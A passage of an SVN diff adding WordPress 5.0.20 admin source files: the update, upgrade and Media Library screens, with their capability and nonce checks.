+$updates_howto  = '<p>' . __( '<strong>WordPress</strong> &mdash; Updating your WordPress installation is a simple one-click procedure: just <strong>click on the &#8220;Update Now&#8221; button</strong> when you are notified that a new version is available.' ) . ' ' . __( 'In most cases, WordPress will automatically apply maintenance and security updates in the background for you.' ) . '</p>';
+$updates_howto .= '<p>' . __( '<strong>Themes and Plugins</strong> &mdash; To update individual themes or plugins from this screen, use the checkboxes to make your selection, then <strong>click on the appropriate &#8220;Update&#8221; button</strong>. To update all of your themes or plugins at once, you can check the box at the top of the section to select all before clicking the update button.' ) . '</p>';
+
+if ( 'en_US' != get_locale() ) {
+	$updates_howto .= '<p>' . __( '<strong>Translations</strong> &mdash; The files translating WordPress into your language are updated for you whenever any other updates occur. But if these files are out of date, you can <strong>click the &#8220;Update Translations&#8221;</strong> button.' ) . '</p>';
+}
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'how-to-update',
+	'title'   => __( 'How to Update' ),
+	'content' => $updates_howto
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Dashboard_Updates_Screen">Documentation on Updating WordPress</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+);
+
+if ( 'upgrade-core' == $action ) {
+	// Force a update check when requested
+	$force_check = ! empty( $_GET['force-check'] );
+	wp_version_check( array(), $force_check );
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	?>
+	<div class="wrap">
+	<h1><?php _e( 'WordPress Updates' ); ?></h1>
+	<?php
+	if ( $upgrade_error ) {
+		echo '<div class="error"><p>';
+		if ( $upgrade_error == 'themes' )
+			_e('Please select one or more themes to update.');
+		else
+			_e('Please select one or more plugins to update.');
+		echo '</p></div>';
+	}
+
+	$last_update_check = false;
+	$current = get_site_transient( 'update_core' );
+
+	if ( $current && isset ( $current->last_checked ) )	{
+		$last_update_check = $current->last_checked + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS;
+	}
+
+	echo '<p>';
+	/* translators: %1 date, %2 time. */
+	printf( __( 'Last checked on %1$s at %2$s.' ), date_i18n( __( 'F j, Y' ), $last_update_check ), date_i18n( __( 'g:i a' ), $last_update_check ) );
+	echo ' &nbsp; <a class="button" href="' . esc_url( self_admin_url('update-core.php?force-check=1') ) . '">' . __( 'Check Again' ) . '</a>';
+	echo '</p>';
+
+	if ( current_user_can( 'update_core' ) ) {
+		core_upgrade_preamble();
+	}
+	if ( current_user_can( 'update_plugins' ) ) {
+		list_plugin_updates();
+	}
+	if ( current_user_can( 'update_themes' ) ) {
+		list_theme_updates();
+	}
+	if ( current_user_can( 'update_languages' ) ) {
+		list_translation_updates();
+	}
+
+	/**
+	 * Fires after the core, plugin, and theme update tables.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'core_upgrade_preamble' );
+	echo '</div>';
+
+	wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+		'totals'  => wp_get_update_data(),
+	) );
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-core-upgrade' == $action || 'do-core-reinstall' == $action ) {
+
+	if ( ! current_user_can( 'update_core' ) )
+		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
+
+	check_admin_referer('upgrade-core');
+
+	// Do the (un)dismiss actions before headers, so that they can redirect.
+	if ( isset( $_POST['dismiss'] ) )
+		do_dismiss_core_update();
+	elseif ( isset( $_POST['undismiss'] ) )
+		do_undismiss_core_update();
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	if ( 'do-core-reinstall' == $action )
+		$reinstall = true;
+	else
+		$reinstall = false;
+
+	if ( isset( $_POST['upgrade'] ) )
+		do_core_upgrade($reinstall);
+
+	wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+		'totals'  => wp_get_update_data(),
+	) );
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-plugin-upgrade' == $action ) {
+
+	if ( ! current_user_can( 'update_plugins' ) )
+		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
+
+	check_admin_referer('upgrade-core');
+
+	if ( isset( $_GET['plugins'] ) ) {
+		$plugins = explode( ',', $_GET['plugins'] );
+	} elseif ( isset( $_POST['checked'] ) ) {
+		$plugins = (array) $_POST['checked'];
+	} else {
+		wp_redirect( admin_url('update-core.php') );
+		exit;
+	}
+
+	$url = 'update.php?action=update-selected&plugins=' . urlencode(implode(',', $plugins));
+	$url = wp_nonce_url($url, 'bulk-update-plugins');
+
+	$title = __('Update Plugins');
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	echo '<div class="wrap">';
+	echo '<h1>' . __( 'Update Plugins' ) . '</h1>';
+	echo '<iframe src="', $url, '" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0" title="' . esc_attr__( 'Update progress' ) . '"></iframe>';
+	echo '</div>';
+
+	wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+		'totals'  => wp_get_update_data(),
+	) );
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-theme-upgrade' == $action ) {
+
+	if ( ! current_user_can( 'update_themes' ) )
+		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
+
+	check_admin_referer('upgrade-core');
+
+	if ( isset( $_GET['themes'] ) ) {
+		$themes = explode( ',', $_GET['themes'] );
+	} elseif ( isset( $_POST['checked'] ) ) {
+		$themes = (array) $_POST['checked'];
+	} else {
+		wp_redirect( admin_url('update-core.php') );
+		exit;
+	}
+
+	$url = 'update.php?action=update-selected-themes&themes=' . urlencode(implode(',', $themes));
+	$url = wp_nonce_url($url, 'bulk-update-themes');
+
+	$title = __('Update Themes');
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	?>
+	<div class="wrap">
+		<h1><?php _e( 'Update Themes' ); ?></h1>
+		<iframe src="<?php echo $url ?>" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0" title="<?php esc_attr_e( 'Update progress' ); ?>"></iframe>
+	</div>
+	<?php
+
+	wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+		'totals'  => wp_get_update_data(),
+	) );
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-translation-upgrade' == $action ) {
+
+	if ( ! current_user_can( 'update_languages' ) )
+		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
+
+	check_admin_referer( 'upgrade-translations' );
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	$url = 'update-core.php?action=do-translation-upgrade';
+	$nonce = 'upgrade-translations';
+	$title = __( 'Update Translations' );
+	$context = WP_LANG_DIR;
+
+	$upgrader = new Language_Pack_Upgrader( new Language_Pack_Upgrader_Skin( compact( 'url', 'nonce', 'title', 'context' ) ) );
+	$result = $upgrader->bulk_upgrade();
+
+	wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+		'totals'  => wp_get_update_data(),
+	) );
+
+	require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+
+} else {
+	/**
+	 * Fires for each custom update action on the WordPress Updates screen.
+	 *
+	 * The dynamic portion of the hook name, `$action`, refers to the
+	 * passed update action. The hook fires in lieu of all available
+	 * default update actions.
+	 *
+	 * @since 3.2.0
+	 */
+	do_action( "update-core-custom_{$action}" );
+}
Index: /tags/5.0.20/src/wp-admin/update.php
===================================================================
--- /tags/5.0.20/src/wp-admin/update.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/update.php	(revision 56912)
@@ -0,0 +1,285 @@
+<?php
+/**
+ * Update/Install Plugin/Theme administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ) ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+if ( isset($_GET['action']) ) {
+	$plugin = isset($_REQUEST['plugin']) ? trim($_REQUEST['plugin']) : '';
+	$theme = isset($_REQUEST['theme']) ? urldecode($_REQUEST['theme']) : '';
+	$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
+
+	if ( 'update-selected' == $action ) {
+		if ( ! current_user_can( 'update_plugins' ) )
+			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
+
+		check_admin_referer( 'bulk-update-plugins' );
+
+		if ( isset( $_GET['plugins'] ) )
+			$plugins = explode( ',', stripslashes($_GET['plugins']) );
+		elseif ( isset( $_POST['checked'] ) )
+			$plugins = (array) $_POST['checked'];
+		else
+			$plugins = array();
+
+		$plugins = array_map('urldecode', $plugins);
+
+		$url = 'update.php?action=update-selected&amp;plugins=' . urlencode(implode(',', $plugins));
+		$nonce = 'bulk-update-plugins';
+
+		wp_enqueue_script( 'updates' );
+		iframe_header();
+
+		$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
+		$upgrader->bulk_upgrade( $plugins );
+
+		iframe_footer();
+
+	} elseif ( 'upgrade-plugin' == $action ) {
+		if ( ! current_user_can('update_plugins') )
+			wp_die(__('Sorry, you are not allowed to update plugins for this site.'));
+
+		check_admin_referer('upgrade-plugin_' . $plugin);
+
+		$title = __('Update Plugin');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugins.php';
+
+		wp_enqueue_script( 'updates' );
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$nonce = 'upgrade-plugin_' . $plugin;
+		$url = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin );
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact('title', 'nonce', 'url', 'plugin') ) );
+		$upgrader->upgrade($plugin);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ('activate-plugin' == $action ) {
+		if ( ! current_user_can('update_plugins') )
+			wp_die(__('Sorry, you are not allowed to update plugins for this site.'));
+
+		check_admin_referer('activate-plugin_' . $plugin);
+		if ( ! isset($_GET['failure']) && ! isset($_GET['success']) ) {
+			wp_redirect( admin_url('update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce']) );
+			activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true );
+			wp_redirect( admin_url('update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce']) );
+			die();
+		}
+		iframe_header( __('Plugin Reactivation'), true );
+		if ( isset($_GET['success']) )
+			echo '<p>' . __('Plugin reactivated successfully.') . '</p>';
+
+		if ( isset($_GET['failure']) ){
+			echo '<p>' . __('Plugin failed to reactivate due to a fatal error.') . '</p>';
+
+			error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+			@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
+			wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
+			include( WP_PLUGIN_DIR . '/' . $plugin );
+		}
+		iframe_footer();
+	} elseif ( 'install-plugin' == $action ) {
+
+		if ( ! current_user_can('install_plugins') )
+			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
+
+		include_once( ABSPATH . 'wp-admin/includes/plugin-install.php' ); //for plugins_api..
+
+		check_admin_referer( 'install-plugin_' . $plugin );
+		$api = plugins_api( 'plugin_information', array(
+			'slug' => $plugin,
+			'fields' => array(
+				'short_description' => false,
+				'sections' => false,
+				'requires' => false,
+				'rating' => false,
+				'ratings' => false,
+				'downloaded' => false,
+				'last_updated' => false,
+				'added' => false,
+				'tags' => false,
+				'compatibility' => false,
+				'homepage' => false,
+				'donate_link' => false,
+			),
+		) );
+
+		if ( is_wp_error( $api ) ) {
+	 		wp_die( $api );
+		}
+
+		$title = __('Plugin Installation');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugin-install.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Plugin: %s'), $api->name . ' ' . $api->version );
+		$nonce = 'install-plugin_' . $plugin;
+		$url = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin );
+		if ( isset($_GET['from']) )
+			$url .= '&from=' . urlencode(stripslashes($_GET['from']));
+
+		$type = 'web'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
+		$upgrader->install($api->download_link);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ( 'upload-plugin' == $action ) {
+
+		if ( ! current_user_can( 'upload_plugins' ) ) {
+			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
+		}
+
+		check_admin_referer('plugin-upload');
+
+		$file_upload = new File_Upload_Upgrader('pluginzip', 'package');
+
+		$title = __('Upload Plugin');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugin-install.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Plugin from uploaded file: %s'), esc_html( basename( $file_upload->filename ) ) );
+		$nonce = 'plugin-upload';
+		$url = add_query_arg(array('package' => $file_upload->id), 'update.php?action=upload-plugin');
+		$type = 'upload'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
+		$result = $upgrader->install( $file_upload->package );
+
+		if ( $result || is_wp_error($result) )
+			$file_upload->cleanup();
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ( 'upgrade-theme' == $action ) {
+
+		if ( ! current_user_can('update_themes') )
+			wp_die(__('Sorry, you are not allowed to update themes for this site.'));
+
+		check_admin_referer('upgrade-theme_' . $theme);
+
+		wp_enqueue_script( 'updates' );
+
+		$title = __('Update Theme');
+		$parent_file = 'themes.php';
+		$submenu_file = 'themes.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$nonce = 'upgrade-theme_' . $theme;
+		$url = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme );
+
+		$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact('title', 'nonce', 'url', 'theme') ) );
+		$upgrader->upgrade($theme);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+	} elseif ( 'update-selected-themes' == $action ) {
+		if ( ! current_user_can( 'update_themes' ) )
+			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
+
+		check_admin_referer( 'bulk-update-themes' );
+
+		if ( isset( $_GET['themes'] ) )
+			$themes = explode( ',', stripslashes($_GET['themes']) );
+		elseif ( isset( $_POST['checked'] ) )
+			$themes = (array) $_POST['checked'];
+		else
+			$themes = array();
+
+		$themes = array_map('urldecode', $themes);
+
+		$url = 'update.php?action=update-selected-themes&amp;themes=' . urlencode(implode(',', $themes));
+		$nonce = 'bulk-update-themes';
+
+		wp_enqueue_script( 'updates' );
+		iframe_header();
+
+		$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
+		$upgrader->bulk_upgrade( $themes );
+
+		iframe_footer();
+	} elseif ( 'install-theme' == $action ) {
+
+		if ( ! current_user_can('install_themes') )
+			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
+
+		include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' ); //for themes_api..
+
+		check_admin_referer( 'install-theme_' . $theme );
+		$api = themes_api('theme_information', array('slug' => $theme, 'fields' => array('sections' => false, 'tags' => false) ) ); //Save on a bit of bandwidth.
+
+		if ( is_wp_error( $api ) ) {
+			wp_die( $api );
+		}
+
+		$title = __('Install Themes');
+		$parent_file = 'themes.php';
+		$submenu_file = 'themes.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Theme: %s'), $api->name . ' ' . $api->version );
+		$nonce = 'install-theme_' . $theme;
+		$url = 'update.php?action=install-theme&theme=' . urlencode( $theme );
+		$type = 'web'; //Install theme type, From Web or an Upload.
+
+		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
+		$upgrader->install($api->download_link);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ( 'upload-theme' == $action ) {
+
+		if ( ! current_user_can( 'upload_themes' ) ) {
+			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
+		}
+
+		check_admin_referer('theme-upload');
+
+		$file_upload = new File_Upload_Upgrader('themezip', 'package');
+
+		$title = __('Upload Theme');
+		$parent_file = 'themes.php';
+		$submenu_file = 'theme-install.php';
+
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Theme from uploaded file: %s'), esc_html( basename( $file_upload->filename ) ) );
+		$nonce = 'theme-upload';
+		$url = add_query_arg(array('package' => $file_upload->id), 'update.php?action=upload-theme');
+		$type = 'upload'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
+		$result = $upgrader->install( $file_upload->package );
+
+		if ( $result || is_wp_error($result) )
+			$file_upload->cleanup();
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} else {
+		/**
+		 * Fires when a custom plugin or theme update request is received.
+		 *
+		 * The dynamic portion of the hook name, `$action`, refers to the action
+		 * provided in the request for wp-admin/update.php. Can be used to
+		 * provide custom update functionality for themes and plugins.
+		 *
+		 * @since 2.8.0
+		 */
+		do_action( "update-custom_{$action}" );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/upgrade-functions.php
===================================================================
--- /tags/5.0.20/src/wp-admin/upgrade-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/upgrade-functions.php	(revision 56912)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * WordPress Upgrade Functions. Old file, must not be used. Include
+ * wp-admin/includes/upgrade.php instead.
+ *
+ * @deprecated 2.5.0
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+_deprecated_file( basename(__FILE__), '2.5.0', 'wp-admin/includes/upgrade.php' );
+require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
Index: /tags/5.0.20/src/wp-admin/upgrade.php
===================================================================
--- /tags/5.0.20/src/wp-admin/upgrade.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/upgrade.php	(revision 56912)
@@ -0,0 +1,127 @@
+<?php
+/**
+ * Upgrade WordPress Page.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * We are upgrading WordPress.
+ *
+ * @since 1.5.1
+ * @var bool
+ */
+define( 'WP_INSTALLING', true );
+
+/** Load WordPress Bootstrap */
+require( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+nocache_headers();
+
+timer_start();
+require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+delete_site_transient('update_core');
+
+if ( isset( $_GET['step'] ) )
+	$step = $_GET['step'];
+else
+	$step = 0;
+
+// Do it. No output.
+if ( 'upgrade_db' === $step ) {
+	wp_upgrade();
+	die( '0' );
+}
+
+/**
+ * @global string $wp_version
+ * @global string $required_php_version
+ * @global string $required_mysql_version
+ * @global wpdb   $wpdb
+ */
+global $wp_version, $required_php_version, $required_mysql_version;
+
+$step = (int) $step;
+
+$php_version    = phpversion();
+$mysql_version  = $wpdb->db_version();
+$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
+if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+	$mysql_compat = true;
+else
+	$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
+
+@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
+	<meta name="robots" content="noindex,nofollow" />
+	<title><?php _e( 'WordPress &rsaquo; Update' ); ?></title>
+	<?php
+	wp_admin_css( 'install', true );
+	wp_admin_css( 'ie', true );
+	?>
+</head>
+<body class="wp-core-ui">
+<p id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></p>
+
+<?php if ( get_option( 'db_version' ) == $wp_db_version || !is_blog_installed() ) : ?>
+
+<h1><?php _e( 'No Update Required' ); ?></h1>
+<p><?php _e( 'Your WordPress database is already up-to-date!' ); ?></p>
+<p class="step"><a class="button button-large" href="<?php echo get_option( 'home' ); ?>/"><?php _e( 'Continue' ); ?></a></p>
+
+<?php elseif ( !$php_compat || !$mysql_compat ) :
+	if ( !$mysql_compat && !$php_compat )
+		printf( __('You cannot update because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version );
+	elseif ( !$php_compat )
+		printf( __('You cannot update because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version );
+	elseif ( !$mysql_compat )
+		printf( __('You cannot update because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version );
+?>
+<?php else :
+switch ( $step ) :
+	case 0:
+		$goback = wp_get_referer();
+		if ( $goback ) {
+			$goback = esc_url_raw( $goback );
+			$goback = urlencode( $goback );
+		}
+?>
+<h1><?php _e( 'Database Update Required' ); ?></h1>
+<p><?php _e( 'WordPress has been updated! Before we send you on your way, we have to update your database to the newest version.' ); ?></p>
+<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
+<p class="step"><a class="button button-large button-primary" href="upgrade.php?step=1&amp;backto=<?php echo $goback; ?>"><?php _e( 'Update WordPress Database' ); ?></a></p>
+<?php
+		break;
+	case 1:
+		wp_upgrade();
+
+			$backto = !empty($_GET['backto']) ? wp_unslash( urldecode( $_GET['backto'] ) ) : __get_option( 'home' ) . '/';
+			$backto = esc_url( $backto );
+			$backto = wp_validate_redirect($backto, __get_option( 'home' ) . '/');
+?>
+<h1><?php _e( 'Update Complete' ); ?></h1>
+	<p><?php _e( 'Your WordPress database has been successfully updated!' ); ?></p>
+	<p class="step"><a class="button button-large" href="<?php echo $backto; ?>"><?php _e( 'Continue' ); ?></a></p>
+
+<!--
+<pre>
+<?php printf( __( '%s queries' ), $wpdb->num_queries ); ?>
+
+<?php printf( __( '%s seconds' ), timer_stop( 0 ) ); ?>
+</pre>
+-->
+
+<?php
+		break;
+endswitch;
+endif;
+?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-admin/upload.php
===================================================================
--- /tags/5.0.20/src/wp-admin/upload.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/upload.php	(revision 56912)
@@ -0,0 +1,331 @@
+<?php
+/**
+ * Media Library administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !current_user_can('upload_files') )
+	wp_die( __( 'Sorry, you are not allowed to upload files.' ) );
+
+$mode = get_user_option( 'media_library_mode', get_current_user_id() ) ? get_user_option( 'media_library_mode', get_current_user_id() ) : 'grid';
+$modes = array( 'grid', 'list' );
+
+if ( isset( $_GET['mode'] ) && in_array( $_GET['mode'], $modes ) ) {
+	$mode = $_GET['mode'];
+	update_user_option( get_current_user_id(), 'media_library_mode', $mode );
+}
+
+if ( 'grid' === $mode ) {
+	wp_enqueue_media();
+	wp_enqueue_script( 'media-grid' );
+	wp_enqueue_script( 'media' );
+
+	remove_action( 'admin_head', 'wp_admin_canonical_url' );
+
+	$q = $_GET;
+	// let JS handle this
+	unset( $q['s'] );
+	$vars = wp_edit_attachments_query_vars( $q );
+	$ignore = array( 'mode', 'post_type', 'post_status', 'posts_per_page' );
+	foreach ( $vars as $key => $value ) {
+		if ( ! $value || in_array( $key, $ignore ) ) {
+			unset( $vars[ $key ] );
+		}
+	}
+
+	wp_localize_script( 'media-grid', '_wpMediaGridSettings', array(
+		'adminUrl' => parse_url( self_admin_url(), PHP_URL_PATH ),
+		'queryVars' => (object) $vars
+	) );
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'overview',
+		'title'		=> __( 'Overview' ),
+		'content'	=>
+			'<p>' . __( 'All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first.' ) . '</p>' .
+			'<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>' .
+			'<p>' . __( 'To delete media items, click the Bulk Select button at the top of the screen. Select any items you wish to delete, then click the Delete Selected button. Clicking the Cancel Selection button takes you back to viewing your media.' ) . '</p>'
+	) );
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'attachment-details',
+		'title'		=> __( 'Attachment Details' ),
+		'content'	=>
+			'<p>' . __( 'Clicking an item will display an Attachment Details dialog, which allows you to preview media and make quick edits. Any changes you make to the attachment details will be automatically saved.' ) . '</p>' .
+			'<p>' . __( 'Use the arrow buttons at the top of the dialog, or the left and right arrow keys on your keyboard, to navigate between media items quickly.' ) . '</p>' .
+			'<p>' . __( 'You can also delete individual items and access the extended edit screen from the details dialog.' ) . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+		'<p>' . __( '<a href="https://codex.wordpress.org/Media_Library_Screen">Documentation on Media Library</a>' ) . '</p>' .
+		'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+	);
+
+	$title = __('Media Library');
+	$parent_file = 'upload.php';
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+	?>
+	<div class="wrap" id="wp-media-grid" data-search="<?php _admin_search_query() ?>">
+		<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
+
+		<?php
+		if ( current_user_can( 'upload_files' ) ) { ?>
+			<a href="<?php echo admin_url( 'media-new.php' ); ?>" class="page-title-action aria-button-if-js"><?php echo esc_html_x( 'Add New', 'file' ); ?></a><?php
+		}
+		?>
+
+		<hr class="wp-header-end">
+
+		<div class="error hide-if-js">
+			<p><?php printf(
+				/* translators: %s: list view URL */
+				__( 'The grid view for the Media Library requires JavaScript. <a href="%s">Switch to the list view</a>.' ),
+				'upload.php?mode=list'
+			); ?></p>
+		</div>
+	</div>
+	<?php
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+$wp_list_table = _get_list_table('WP_Media_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+// Handle bulk actions
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction ) {
+	check_admin_referer('bulk-media');
+
+	if ( 'delete_all' == $doaction ) {
+		$post_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type='attachment' AND post_status = 'trash'" );
+		$doaction = 'delete';
+	} elseif ( isset( $_REQUEST['media'] ) ) {
+		$post_ids = $_REQUEST['media'];
+	} elseif ( isset( $_REQUEST['ids'] ) ) {
+		$post_ids = explode( ',', $_REQUEST['ids'] );
+	}
+
+	$location = 'upload.php';
+	if ( $referer = wp_get_referer() ) {
+		if ( false !== strpos( $referer, 'upload.php' ) )
+			$location = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'message', 'ids', 'posted' ), $referer );
+	}
+
+	switch ( $doaction ) {
+		case 'detach':
+			wp_media_attach_action( $_REQUEST['parent_post_id'], 'detach' );
+			break;
+
+		case 'attach':
+			wp_media_attach_action( $_REQUEST['found_post_id'] );
+			break;
+
+		case 'trash':
+			if ( !isset( $post_ids ) )
+				break;
+			foreach ( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id ) )
+					wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
+
+				if ( !wp_trash_post( $post_id ) )
+					wp_die( __( 'Error in moving to Trash.' ) );
+			}
+			$location = add_query_arg( array( 'trashed' => count( $post_ids ), 'ids' => join( ',', $post_ids ) ), $location );
+			break;
+		case 'untrash':
+			if ( !isset( $post_ids ) )
+				break;
+			foreach ( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id ) )
+					wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
+
+				if ( !wp_untrash_post( $post_id ) )
+					wp_die( __( 'Error in restoring from Trash.' ) );
+			}
+			$location = add_query_arg( 'untrashed', count( $post_ids ), $location );
+			break;
+		case 'delete':
+			if ( !isset( $post_ids ) )
+				break;
+			foreach ( (array) $post_ids as $post_id_del ) {
+				if ( !current_user_can( 'delete_post', $post_id_del ) )
+					wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
+
+				if ( !wp_delete_attachment( $post_id_del ) )
+					wp_die( __( 'Error in deleting.' ) );
+			}
+			$location = add_query_arg( 'deleted', count( $post_ids ), $location );
+			break;
